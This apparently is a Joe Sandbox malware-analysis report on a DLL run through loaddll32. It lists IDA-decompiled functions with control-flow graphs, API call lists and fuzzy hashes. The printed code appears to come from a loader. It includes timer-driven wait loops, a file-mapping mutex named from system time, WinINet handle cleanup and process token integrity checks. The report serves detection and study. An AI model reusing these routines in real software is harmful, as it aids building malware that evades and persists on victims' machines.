                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 02C56815 Relevance: 16.7, APIs: 11, Instructions: 151timememoryCOMMON
                  Download Yara Rule

                  Control-flow Graph

                  • Executed
                  • Not Executed
                  control_flow_graph 3118 2c56815-2c56847 memset CreateWaitableTimerA 3119 2c5684d-2c568a6 _allmul SetWaitableTimer WaitForMultipleObjects 3118->3119 3120 2c569c8-2c569ce GetLastError 3118->3120 3122 2c56930-2c56936 3119->3122 3123 2c568ac-2c568af 3119->3123 3121 2c569d2-2c569dc 3120->3121 3124 2c56937-2c5693b 3122->3124 3125 2c568b1 call 2c55251 3123->3125 3126 2c568ba 3123->3126 3127 2c5693d-2c56945 HeapFree 3124->3127 3128 2c5694b-2c5694f 3124->3128 3131 2c568b6-2c568b8 3125->3131 3130 2c568c4 3126->3130 3127->3128 3128->3124 3132 2c56951-2c5695b CloseHandle 3128->3132 3133 2c568c8-2c568cd 3130->3133 3131->3126 3131->3130 3132->3121 3134 2c568e0-2c5690d call 2c535d2 3133->3134 3135 2c568cf-2c568d6 3133->3135 3139 2c5695d-2c56962 3134->3139 3140 2c5690f-2c5691a 3134->3140 3135->3134 3136 2c568d8 3135->3136 3136->3134 3142 2c56964-2c5696a 3139->3142 3143 2c56981-2c56989 3139->3143 3140->3133 3141 2c5691c-2c5692c call 2c569e6 3140->3141 3141->3122 3142->3122 3146 2c5696c-2c5697f call 2c563f6 3142->3146 3144 2c5698f-2c569bd _allmul SetWaitableTimer WaitForMultipleObjects 3143->3144 3144->3133 3148 2c569c3 3144->3148 3146->3144 3148->3122
                  C-Code - Quality: 83%
                  			E02C56815(void* __edx, intOrPtr _a4, intOrPtr _a8) {
				void _v48;
				long _v52;
				struct %anon52 _v60;
				char _v72;
				long _v76;
				void* _v80;
				union _LARGE_INTEGER _v84;
				struct %anon52 _v92;
				void* _v96;
				void* _v100;
				union _LARGE_INTEGER _v104;
				long _v108;
				struct %anon52 _v124;
				long _v128;
				struct %anon52 _t46;
				void* _t51;
				long _t53;
				void* _t54;
				struct %anon52 _t61;
				long _t65;
				struct %anon52 _t66;
				void* _t69;
				void* _t73;
				signed int _t74;
				void* _t76;
				void* _t78;
				void** _t82;
				signed int _t86;
				void* _t89;

				_t76 = __edx;
				_v52 = 0;
				memset( &_v48, 0, 0x2c);
				_t89 = (_t86 & 0xfffffff8) - 0x54 + 0xc;
				_t46 = CreateWaitableTimerA(0, 1, 0);
				_v60 = _t46;
				if(_t46 == 0) {
					_v92.HighPart = GetLastError();
				} else {
					_push(0xffffffff);
					_push(0xff676980);
					_push(0);
					_push( *0x2c5a2e0);
					_v76 = 0;
					_v80 = 0;
					L02C582DA();
					_v84.LowPart = _t46;
					_v80 = _t76;
					SetWaitableTimer(_v76,  &_v84, 0, 0, 0, 0);
					_t51 =  *0x2c5a30c; // 0x214
					_v76 = _t51;
					_t53 = WaitForMultipleObjects(2,  &_v80, 0, 0xffffffff);
					_v108 = _t53;
					if(_t53 == 0) {
						if(_a8 != 0) {
							L4:
							 *0x2c5a2ec = 5;
						} else {
							_t69 = E02C55251(_t76); // executed
							if(_t69 != 0) {
								goto L4;
							}
						}
						_v104.LowPart = 0;
						L6:
						L6:
						if(_v104.LowPart == 1 && ( *0x2c5a300 & 0x00000001) == 0) {
							_v104.LowPart = 2;
						}
						_t74 = _v104.LowPart;
						_t58 = _t74 << 4;
						_t78 = _t89 + (_t74 << 4) + 0x38;
						_t75 = _t74 + 1;
						_v92.LowPart = _t74 + 1;
						_t61 = E02C535D2( &_v96, _t75, _t89 + _t58 + 0x38, _t78,  &_v100); // executed
						_v124 = _t61;
						if(_t61 != 0) {
							goto L17;
						}
						_t66 = _v92;
						_v104.LowPart = _t66;
						if(_t66 != 3) {
							goto L6;
						} else {
							_v124.HighPart = E02C569E6(_t75,  &_v72, _a4, _a8);
						}
						goto L12;
						L17:
						__eflags = _t61 - 0x10d2;
						if(_t61 != 0x10d2) {
							_push(0xffffffff);
							_push(0xff676980);
							_push(0);
							_push( *0x2c5a2e4);
							goto L21;
						} else {
							__eflags =  *0x2c5a2e8; // 0x0
							if(__eflags == 0) {
								goto L12;
							} else {
								_t61 = E02C563F6();
								_push(0xffffffff);
								_push(0xdc3cba00);
								_push(0);
								_push( *0x2c5a2e8);
								L21:
								L02C582DA();
								_v104.LowPart = _t61;
								_v100 = _t78;
								SetWaitableTimer(_v96,  &_v104, 0, 0, 0, 0); // executed
								_t65 = WaitForMultipleObjects(2,  &_v100, 0, 0xffffffff);
								_v128 = _t65;
								__eflags = _t65;
								if(_t65 == 0) {
									goto L6;
								} else {
									goto L12;
								}
							}
						}
						L25:
					}
					L12:
					_t82 =  &_v72;
					_t73 = 3;
					do {
						_t54 =  *_t82;
						if(_t54 != 0) {
							HeapFree( *0x2c5a2d8, 0, _t54);
						}
						_t82 =  &(_t82[4]);
						_t73 = _t73 - 1;
					} while (_t73 != 0);
					CloseHandle(_v80);
				}
				return _v92.HighPart;
				goto L25;
			}
































                  0x02c56815
                  0x02c5682b
                  0x02c5682f
                  0x02c56834
                  0x02c5683b
                  0x02c56841
                  0x02c56847
                  0x02c569ce
                  0x02c5684d
                  0x02c5684d
                  0x02c5684f
                  0x02c56854
                  0x02c56855
                  0x02c5685b
                  0x02c5685f
                  0x02c56863
                  0x02c56871
                  0x02c5687f
                  0x02c56883
                  0x02c56885
                  0x02c56892
                  0x02c5689e
                  0x02c568a0
                  0x02c568a6
                  0x02c568af
                  0x02c568ba
                  0x02c568ba
                  0x02c568b1
                  0x02c568b1
                  0x02c568b8
                  0x00000000
                  0x00000000
                  0x02c568b8
                  0x02c568c4
                  0x00000000
                  0x02c568c8
                  0x02c568cd
                  0x02c568d8
                  0x02c568d8
                  0x02c568e0
                  0x02c568e6
                  0x02c568ee
                  0x02c568f7
                  0x02c568fe
                  0x02c56902
                  0x02c56907
                  0x02c5690d
                  0x00000000
                  0x00000000
                  0x02c5690f
                  0x02c56913
                  0x02c5691a
                  0x00000000
                  0x02c5691c
                  0x02c5692c
                  0x02c5692c
                  0x00000000
                  0x02c5695d
                  0x02c5695d
                  0x02c56962
                  0x02c56981
                  0x02c56983
                  0x02c56988
                  0x02c56989
                  0x00000000
                  0x02c56964
                  0x02c56964
                  0x02c5696a
                  0x00000000
                  0x02c5696c
                  0x02c5696c
                  0x02c56971
                  0x02c56973
                  0x02c56978
                  0x02c56979
                  0x02c5698f
                  0x02c5698f
                  0x02c56997
                  0x02c569a5
                  0x02c569a9
                  0x02c569b5
                  0x02c569b7
                  0x02c569bb
                  0x02c569bd
                  0x00000000
                  0x02c569c3
                  0x00000000
                  0x02c569c3
                  0x02c569bd
                  0x02c5696a
                  0x00000000
                  0x02c56962
                  0x02c56930
                  0x02c56932
                  0x02c56936
                  0x02c56937
                  0x02c56937
                  0x02c5693b
                  0x02c56945
                  0x02c56945
                  0x02c5694b
                  0x02c5694e
                  0x02c5694e
                  0x02c56955
                  0x02c56955
                  0x02c569dc
                  0x00000000

                  APIs
                  • memset.NTDLL ref: 02C5682F
                  • CreateWaitableTimerA.KERNEL32(00000000,00000001,00000000), ref: 02C5683B
                  • _allmul.NTDLL(00000000,FF676980,000000FF), ref: 02C56863
                  • SetWaitableTimer.KERNELBASE(?,?,00000000,00000000,00000000,00000000), ref: 02C56883
                  • WaitForMultipleObjects.KERNEL32(00000002,?,00000000,000000FF,?,?,?,?,?,?,?,?,?,?,02C526E9,?), ref: 02C5689E
                  • HeapFree.KERNEL32(00000000,00000000,?,?,?,?,?,?,?,?,?,?,02C526E9,?,00000000), ref: 02C56945
                  • CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,02C526E9,?,00000000,?,?), ref: 02C56955
                  • _allmul.NTDLL(00000000,FF676980,000000FF,00000002), ref: 02C5698F
                  • SetWaitableTimer.KERNELBASE(?,?,00000000,00000000,00000000,00000000,00000000,FF676980,000000FF,00000002,?,?,?), ref: 02C569A9
                  • WaitForMultipleObjects.KERNEL32(00000002,?,00000000,000000FF), ref: 02C569B5
                    • Part of subcall function 02C55251: StrToIntExW.SHLWAPI(?,00000000,?,?,004F0053,03AD9218,00000000,?,74D0F710,00000000,74D0F730), ref: 02C552A0
                    • Part of subcall function 02C55251: HeapFree.KERNEL32(00000000,00000000,?,80000001,00000000,00680043,03AD9160,?,00000000,30314549,00000014,004F0053,03AD9270), ref: 02C5533D
                    • Part of subcall function 02C55251: HeapFree.KERNEL32(00000000,?,?,?,?,?,?,?,02C568B6), ref: 02C5534F
                  • GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,02C526E9,?,00000000,?,?), ref: 02C569C8
                  Memory Dump Source
                  • Source File: 00000000.00000002.777076559.0000000002C51000.00000020.10000000.00040000.00000000.sdmp, Offset: 02C50000, based on PE: true
                  • Associated: 00000000.00000002.777064531.0000000002C50000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000000.00000002.777105629.0000000002C59000.00000002.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000000.00000002.777118792.0000000002C5A000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000000.00000002.777134029.0000000002C5C000.00000002.10000000.00040000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_2c50000_loaddll32.jbxd
                  Similarity
                  • API ID: FreeHeapTimerWaitable$MultipleObjectsWait_allmul$CloseCreateErrorHandleLastmemset
                  • String ID:
                  • API String ID: 3521023985-0
                  • Opcode ID: 7bf4979a6089105de567a4d38e6b70e0b37d9dc1003426ba88d76f701fcf10d9
                  • Instruction ID: 9b3b9a9e16927af4fac07e7ee09ba420f4323ce8174121da08d4468b9f60a60a
                  • Opcode Fuzzy Hash: 7bf4979a6089105de567a4d38e6b70e0b37d9dc1003426ba88d76f701fcf10d9
                  • Instruction Fuzzy Hash: D1514D71409330AFD7109F169C44AABBBECEF89364F604F1AF89992150D770C694CF96
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 6CB4EAA3 Relevance: 16.3, APIs: 8, Strings: 1, Instructions: 572stringCOMMON
                  Download Yara Rule
                  APIs
                  Strings
                  Memory Dump Source
                  • Source File: 00000000.00000002.777444445.000000006CB41000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB40000, based on PE: true
                  • Associated: 00000000.00000002.777425823.000000006CB40000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777484362.000000006CB6A000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777497702.000000006CB74000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777517108.000000006CB83000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777517108.000000006CBC5000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_6cb40000_loaddll32.jbxd
                  Similarity
                  • API ID: task$lstrcmpi
                  • String ID: mCREWPpmPvt
                  • API String ID: 1824279427-541074995
                  • Opcode ID: 60322ca76bef3cd7f7dda2f386ae56773501aacef773be93d5c45f88cf3ae02b
                  • Instruction ID: 1efe2828a9fa1c591ffb92a211d2c0cb38e5025deaa94875326a715a7742d460
                  • Opcode Fuzzy Hash: 60322ca76bef3cd7f7dda2f386ae56773501aacef773be93d5c45f88cf3ae02b
                  • Instruction Fuzzy Hash: 1B524DB0D091A9CADF24CF54CC54BDDB7B2BB81309F1481D9D0086BA84DB769AD8DF91
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 02C5415A Relevance: 13.6, APIs: 9, Instructions: 72filetimeCOMMON
                  Download Yara Rule

                  Control-flow Graph

                  • Executed
                  • Not Executed
                  control_flow_graph 3420 2c5415a-2c541c7 GetSystemTimeAsFileTime _aulldiv _snwprintf CreateFileMappingW 3421 2c5420f-2c54215 GetLastError 3420->3421 3422 2c541c9-2c541d6 GetLastError 3420->3422 3425 2c54217-2c5421c 3421->3425 3423 2c541dd-2c541ee MapViewOfFile 3422->3423 3424 2c541d8-2c541db 3422->3424 3427 2c541f0-2c541fc 3423->3427 3428 2c541fe-2c54204 GetLastError 3423->3428 3426 2c54206-2c5420d CloseHandle 3424->3426 3426->3425 3427->3425 3428->3425 3428->3426
                  C-Code - Quality: 74%
                  			E02C5415A(intOrPtr __edx, void** _a4, void** _a8) {
				intOrPtr _v8;
				struct _FILETIME* _v12;
				short _v56;
				struct _FILETIME* _t12;
				intOrPtr _t13;
				void* _t17;
				void* _t21;
				intOrPtr _t27;
				long _t28;
				void* _t30;

				_t27 = __edx;
				_t12 =  &_v12;
				GetSystemTimeAsFileTime(_t12);
				_push(0x192);
				_push(0x54d38000);
				_push(_v8);
				_push(_v12);
				L02C582D4();
				_push(_t12);
				_v12 = _t12;
				_t13 =  *0x2c5a348; // 0xe7d5a8
				_t5 = _t13 + 0x2c5b7b4; // 0x3ad8d5c
				_t6 = _t13 + 0x2c5b644; // 0x530025
				_push(0x16);
				_push( &_v56);
				_v8 = _t27;
				L02C57F3A();
				_t17 = CreateFileMappingW(0xffffffff, 0x2c5a34c, 4, 0, 0x1000,  &_v56); // executed
				_t30 = _t17;
				if(_t30 == 0) {
					_t28 = GetLastError();
				} else {
					if(GetLastError() == 0xb7) {
						_t21 = MapViewOfFile(_t30, 6, 0, 0, 0); // executed
						if(_t21 == 0) {
							_t28 = GetLastError();
							if(_t28 != 0) {
								goto L6;
							}
						} else {
							 *_a4 = _t30;
							 *_a8 = _t21;
							_t28 = 0;
						}
					} else {
						_t28 = 2;
						L6:
						CloseHandle(_t30);
					}
				}
				return _t28;
			}













                  0x02c5415a
                  0x02c54162
                  0x02c54166
                  0x02c5416c
                  0x02c54171
                  0x02c54176
                  0x02c54179
                  0x02c5417c
                  0x02c54181
                  0x02c54182
                  0x02c54185
                  0x02c5418a
                  0x02c54191
                  0x02c5419b
                  0x02c5419d
                  0x02c5419e
                  0x02c541a1
                  0x02c541bd
                  0x02c541c3
                  0x02c541c7
                  0x02c54215
                  0x02c541c9
                  0x02c541d6
                  0x02c541e6
                  0x02c541ee
                  0x02c54200
                  0x02c54204
                  0x00000000
                  0x00000000
                  0x02c541f0
                  0x02c541f3
                  0x02c541f8
                  0x02c541fa
                  0x02c541fa
                  0x02c541d8
                  0x02c541da
                  0x02c54206
                  0x02c54207
                  0x02c54207
                  0x02c541d6
                  0x02c5421c

                  APIs
                  • GetSystemTimeAsFileTime.KERNEL32(?,?,00000000,?,?,?,?,?,?,02C525B1,?,?,4D283A53,?,?), ref: 02C54166
                  • _aulldiv.NTDLL(?,?,54D38000,00000192), ref: 02C5417C
                  • _snwprintf.NTDLL ref: 02C541A1
                  • CreateFileMappingW.KERNELBASE(000000FF,02C5A34C,00000004,00000000,00001000,?,?,?,?,?,00000000), ref: 02C541BD
                  • GetLastError.KERNEL32(?,?,?,?,00000000,?,?,?,?,?,?,02C525B1,?,?,4D283A53,?), ref: 02C541CF
                  • MapViewOfFile.KERNELBASE(00000000,00000006,00000000,00000000,00000000,?,?,?,?,00000000), ref: 02C541E6
                  • CloseHandle.KERNEL32(00000000,?,?,?,?,00000000,?,?,?,?,?,?,02C525B1,?,?,4D283A53), ref: 02C54207
                  • GetLastError.KERNEL32(?,?,?,?,00000000,?,?,?,?,?,?,02C525B1,?,?,4D283A53,?), ref: 02C5420F
                  Memory Dump Source
                  • Source File: 00000000.00000002.777076559.0000000002C51000.00000020.10000000.00040000.00000000.sdmp, Offset: 02C50000, based on PE: true
                  • Associated: 00000000.00000002.777064531.0000000002C50000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000000.00000002.777105629.0000000002C59000.00000002.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000000.00000002.777118792.0000000002C5A000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000000.00000002.777134029.0000000002C5C000.00000002.10000000.00040000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_2c50000_loaddll32.jbxd
                  Similarity
                  • API ID: File$ErrorLastTime$CloseCreateHandleMappingSystemView_aulldiv_snwprintf
                  • String ID:
                  • API String ID: 1814172918-0
                  • Opcode ID: 8e954ef93d8def8948bfa60b9c87d0db60b671152bfa76f8a31d0a206dfaabbe
                  • Instruction ID: faca7d01c30aec7c4a5c34df5f6ac7fe808d496f70e7b1a470c29926705a8496
                  • Opcode Fuzzy Hash: 8e954ef93d8def8948bfa60b9c87d0db60b671152bfa76f8a31d0a206dfaabbe
                  • Instruction Fuzzy Hash: 50219F72A80334FBD7259F64CC05F9A7BA9ABC8754F110660FA09B7180D770DAC58BA4
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 6CB45805 Relevance: 12.6, APIs: 5, Strings: 2, Instructions: 325COMMON
                  Download Yara Rule

                  Control-flow Graph

                  APIs
                  Strings
                  Memory Dump Source
                  • Source File: 00000000.00000002.777444445.000000006CB41000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB40000, based on PE: true
                  • Associated: 00000000.00000002.777425823.000000006CB40000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777484362.000000006CB6A000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777497702.000000006CB74000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777517108.000000006CB83000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777517108.000000006CBC5000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_6cb40000_loaddll32.jbxd
                  Similarity
                  • API ID: task$char_traits
                  • String ID: PgB$jj
                  • API String ID: 1455298312-3028221488
                  • Opcode ID: 26159bed7d4e2b91491702535d8d32a6a1e6c7e6814de2aee8d21e9c252e7749
                  • Instruction ID: b974f2990d26b6ed6ddaae9787b302dfab7f0cb01006d4109e61d4962a35e334
                  • Opcode Fuzzy Hash: 26159bed7d4e2b91491702535d8d32a6a1e6c7e6814de2aee8d21e9c252e7749
                  • Instruction Fuzzy Hash: 23E16A70D0A599CBDF14CF84C880BEDB7B1BB42309F54C199D0156BA88DB709A8DEF56
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 02C54BE7 Relevance: 12.1, APIs: 8, Instructions: 75networkCOMMON
                  Download Yara Rule
                  C-Code - Quality: 93%
                  			E02C54BE7(intOrPtr* __eax, void* __ebx, void* __ecx, void* __edi) {
				void* _t17;
				void* _t18;
				void* _t19;
				void* _t20;
				void* _t21;
				intOrPtr _t24;
				void* _t37;
				void* _t41;
				intOrPtr* _t45;

				_t41 = __edi;
				_t37 = __ebx;
				_t45 = __eax;
				_t16 =  *((intOrPtr*)(__eax + 0x20));
				if( *((intOrPtr*)(__eax + 0x20)) != 0) {
					E02C516B2(_t16, __ecx, 0xea60);
				}
				_t17 =  *(_t45 + 0x18);
				_push(_t37);
				_push(_t41);
				if(_t17 != 0) {
					InternetSetStatusCallback(_t17, 0);
					InternetCloseHandle( *(_t45 + 0x18)); // executed
				}
				_t18 =  *(_t45 + 0x14);
				if(_t18 != 0) {
					InternetSetStatusCallback(_t18, 0);
					InternetCloseHandle( *(_t45 + 0x14));
				}
				_t19 =  *(_t45 + 0x10);
				if(_t19 != 0) {
					InternetSetStatusCallback(_t19, 0);
					InternetCloseHandle( *(_t45 + 0x10));
				}
				_t20 =  *(_t45 + 0x1c);
				if(_t20 != 0) {
					CloseHandle(_t20);
				}
				_t21 =  *(_t45 + 0x20);
				if(_t21 != 0) {
					CloseHandle(_t21);
				}
				_t22 =  *((intOrPtr*)(_t45 + 8));
				if( *((intOrPtr*)(_t45 + 8)) != 0) {
					E02C561DA(_t22);
					 *((intOrPtr*)(_t45 + 8)) = 0;
					 *((intOrPtr*)(_t45 + 0x30)) = 0;
				}
				_t23 =  *((intOrPtr*)(_t45 + 0xc));
				if( *((intOrPtr*)(_t45 + 0xc)) != 0) {
					E02C561DA(_t23);
				}
				_t24 =  *_t45;
				if(_t24 != 0) {
					_t24 = E02C561DA(_t24);
				}
				_t46 =  *((intOrPtr*)(_t45 + 4));
				if( *((intOrPtr*)(_t45 + 4)) != 0) {
					return E02C561DA(_t46);
				}
				return _t24;
			}












                  0x02c54be7
                  0x02c54be7
                  0x02c54be9
                  0x02c54beb
                  0x02c54bf2
                  0x02c54bf9
                  0x02c54bf9
                  0x02c54bfe
                  0x02c54c01
                  0x02c54c08
                  0x02c54c11
                  0x02c54c15
                  0x02c54c1a
                  0x02c54c1a
                  0x02c54c1c
                  0x02c54c21
                  0x02c54c25
                  0x02c54c2a
                  0x02c54c2a
                  0x02c54c2c
                  0x02c54c31
                  0x02c54c35
                  0x02c54c3a
                  0x02c54c3a
                  0x02c54c3c
                  0x02c54c47
                  0x02c54c4a
                  0x02c54c4a
                  0x02c54c4c
                  0x02c54c51
                  0x02c54c54
                  0x02c54c54
                  0x02c54c56
                  0x02c54c5d
                  0x02c54c60
                  0x02c54c65
                  0x02c54c68
                  0x02c54c68
                  0x02c54c6b
                  0x02c54c70
                  0x02c54c73
                  0x02c54c73
                  0x02c54c78
                  0x02c54c7c
                  0x02c54c7f
                  0x02c54c7f
                  0x02c54c84
                  0x02c54c89
                  0x00000000
                  0x02c54c8c
                  0x02c54c93

                  APIs
                  • InternetSetStatusCallback.WININET(?,00000000), ref: 02C54C15
                  • InternetCloseHandle.WININET(?), ref: 02C54C1A
                  • InternetSetStatusCallback.WININET(?,00000000), ref: 02C54C25
                  • InternetCloseHandle.WININET(?), ref: 02C54C2A
                  • InternetSetStatusCallback.WININET(?,00000000), ref: 02C54C35
                  • InternetCloseHandle.WININET(?), ref: 02C54C3A
                  • CloseHandle.KERNEL32(?,00000000,00000102,?,?,02C52248,?,?,74CF81D0,00000000,00000000), ref: 02C54C4A
                  • CloseHandle.KERNEL32(?,00000000,00000102,?,?,02C52248,?,?,74CF81D0,00000000,00000000), ref: 02C54C54
                    • Part of subcall function 02C516B2: WaitForMultipleObjects.KERNEL32(00000002,02C57C47,00000000,02C57C47,?,?,?,02C57C47,0000EA60), ref: 02C516CD
                  Memory Dump Source
                  • Source File: 00000000.00000002.777076559.0000000002C51000.00000020.10000000.00040000.00000000.sdmp, Offset: 02C50000, based on PE: true
                  • Associated: 00000000.00000002.777064531.0000000002C50000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000000.00000002.777105629.0000000002C59000.00000002.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000000.00000002.777118792.0000000002C5A000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000000.00000002.777134029.0000000002C5C000.00000002.10000000.00040000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_2c50000_loaddll32.jbxd
                  Similarity
                  • API ID: Internet$CloseHandle$CallbackStatus$MultipleObjectsWait
                  • String ID:
                  • API String ID: 2824497044-0
                  • Opcode ID: 027468bf6a2626140f96fbaa5e8225d8e11aeea362e24b1c755bb7f79cf65a78
                  • Instruction ID: 16798841bd47cd99b7b6aa353a6c9f8db1d5b2727cdf3e85cf1e7e1aae093a39
                  • Opcode Fuzzy Hash: 027468bf6a2626140f96fbaa5e8225d8e11aeea362e24b1c755bb7f79cf65a78
                  • Instruction Fuzzy Hash: D6111276600B689BC534AFAADD84C1BB7FEFFC42043550D18E885D3511CB34F9C58A68
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 6CB5AC7D Relevance: 10.6, APIs: 7, Instructions: 136COMMONLIBRARYCODE
                  Download Yara Rule
                  APIs
                  • __RTC_Initialize.LIBCMT ref: 6CB5ACC4
                  • ___scrt_uninitialize_crt.LIBCMT ref: 6CB5ACDE
                  Memory Dump Source
                  • Source File: 00000000.00000002.777444445.000000006CB41000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB40000, based on PE: true
                  • Associated: 00000000.00000002.777425823.000000006CB40000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777484362.000000006CB6A000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777497702.000000006CB74000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777517108.000000006CB83000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777517108.000000006CBC5000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_6cb40000_loaddll32.jbxd
                  Similarity
                  • API ID: Initialize___scrt_uninitialize_crt
                  • String ID:
                  • API String ID: 2442719207-0
                  • Opcode ID: 642c18bd7560129450ee7e12d002b89d70fd0c72d6756ca66b2790acc4e14108
                  • Instruction ID: 3701e4ce3942fa6a82e1dc2ea154258ab89f152aab23e2bbcc9e14a120fd1c28
                  • Opcode Fuzzy Hash: 642c18bd7560129450ee7e12d002b89d70fd0c72d6756ca66b2790acc4e14108
                  • Instruction Fuzzy Hash: AC41F472E012A8AFDB109F65CC04BBE7A79EB85B59F90411AE81477B80D7304D259FF1
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 02C55E40 Relevance: 10.6, APIs: 7, Instructions: 75COMMON
                  Download Yara Rule
                  C-Code - Quality: 100%
                  			E02C55E40(long* _a4) {
				long _v8;
				void* _v12;
				void _v16;
				long _v20;
				int _t33;
				void* _t46;

				_v16 = 1;
				_v20 = 0x2000;
				if( *0x2c5a2fc > 5) {
					_v16 = 0;
					if(OpenProcessToken(0xffffffff, 0x20008,  &_v12) != 0) {
						GetTokenInformation(_v12, 0x14,  &_v16, 4,  &_v8); // executed
						_v8 = 0;
						GetTokenInformation(_v12, 0x19, 0, 0,  &_v8); // executed
						if(_v8 != 0) {
							_t46 = E02C533DC(_v8);
							if(_t46 != 0) {
								_t33 = GetTokenInformation(_v12, 0x19, _t46, _v8,  &_v8); // executed
								if(_t33 != 0) {
									_v20 =  *(GetSidSubAuthority( *_t46,  *(GetSidSubAuthorityCount( *_t46)) - 0x00000001 & 0x000000ff));
								}
								E02C561DA(_t46);
							}
						}
						CloseHandle(_v12);
					}
				}
				 *_a4 = _v20;
				return _v16;
			}









                  0x02c55e4d
                  0x02c55e54
                  0x02c55e5b
                  0x02c55e6f
                  0x02c55e7a
                  0x02c55e92
                  0x02c55e9f
                  0x02c55ea2
                  0x02c55ea7
                  0x02c55eb2
                  0x02c55eb6
                  0x02c55ec5
                  0x02c55ec9
                  0x02c55ee5
                  0x02c55ee5
                  0x02c55ee9
                  0x02c55ee9
                  0x02c55eee
                  0x02c55ef2
                  0x02c55ef8
                  0x02c55ef9
                  0x02c55f00
                  0x02c55f06

                  APIs
                  • OpenProcessToken.ADVAPI32(000000FF,00020008,00000000,00000000), ref: 02C55E72
                  • GetTokenInformation.KERNELBASE(00000000,00000014(TokenIntegrityLevel),00000001,00000004,?,00000000), ref: 02C55E92
                  • GetTokenInformation.KERNELBASE(00000000,00000019(TokenIntegrityLevel),00000000,00000000,?), ref: 02C55EA2
                  • CloseHandle.KERNEL32(00000000), ref: 02C55EF2
                    • Part of subcall function 02C533DC: RtlAllocateHeap.NTDLL(00000000,00000000,02C562F6), ref: 02C533E8
                  • GetTokenInformation.KERNELBASE(00000000,00000019(TokenIntegrityLevel),00000000,?,?,?,?), ref: 02C55EC5
                  • GetSidSubAuthorityCount.ADVAPI32(00000000), ref: 02C55ECD
                  • GetSidSubAuthority.ADVAPI32(00000000,?), ref: 02C55EDD
                  Memory Dump Source
                  • Source File: 00000000.00000002.777076559.0000000002C51000.00000020.10000000.00040000.00000000.sdmp, Offset: 02C50000, based on PE: true
                  • Associated: 00000000.00000002.777064531.0000000002C50000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000000.00000002.777105629.0000000002C59000.00000002.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000000.00000002.777118792.0000000002C5A000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000000.00000002.777134029.0000000002C5C000.00000002.10000000.00040000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_2c50000_loaddll32.jbxd
                  Similarity
                  • API ID: Token$Information$Authority$AllocateCloseCountHandleHeapOpenProcess
                  • String ID:
                  • API String ID: 1295030180-0
                  • Opcode ID: 6ab8d799591a22c637f51e6bc55e6c8761b174ed3b54b583b4b8e8800da1628e
                  • Instruction ID: 2a72f1f93c60f337f3a1b4976cf38ecb3405c4a629550540faa70021a32f2605
                  • Opcode Fuzzy Hash: 6ab8d799591a22c637f51e6bc55e6c8761b174ed3b54b583b4b8e8800da1628e
                  • Instruction Fuzzy Hash: 75214A75D0026DFFEB00DF91CC84EAEBB79EF88344F1005A5E911A6150CB758A94EF54
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 02C56675 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 68stringCOMMON
                  Download Yara Rule
                  C-Code - Quality: 64%
                  			E02C56675(void* __ecx, void* __edx, intOrPtr _a4, intOrPtr _a8) {
				intOrPtr _v8;
				intOrPtr _t9;
				intOrPtr _t13;
				char* _t19;
				char* _t28;
				void* _t33;
				void* _t34;
				char* _t36;
				void* _t38;
				intOrPtr* _t39;
				char* _t40;
				char* _t42;
				char* _t43;

				_t34 = __edx;
				_push(__ecx);
				_t9 =  *0x2c5a348; // 0xe7d5a8
				_t1 = _t9 + 0x2c5b516; // 0x253d7325
				_t36 = 0;
				_t28 = E02C55815(__ecx, _t1);
				if(_t28 != 0) {
					_t39 = __imp__;
					_t13 =  *_t39(_t28, _t38);
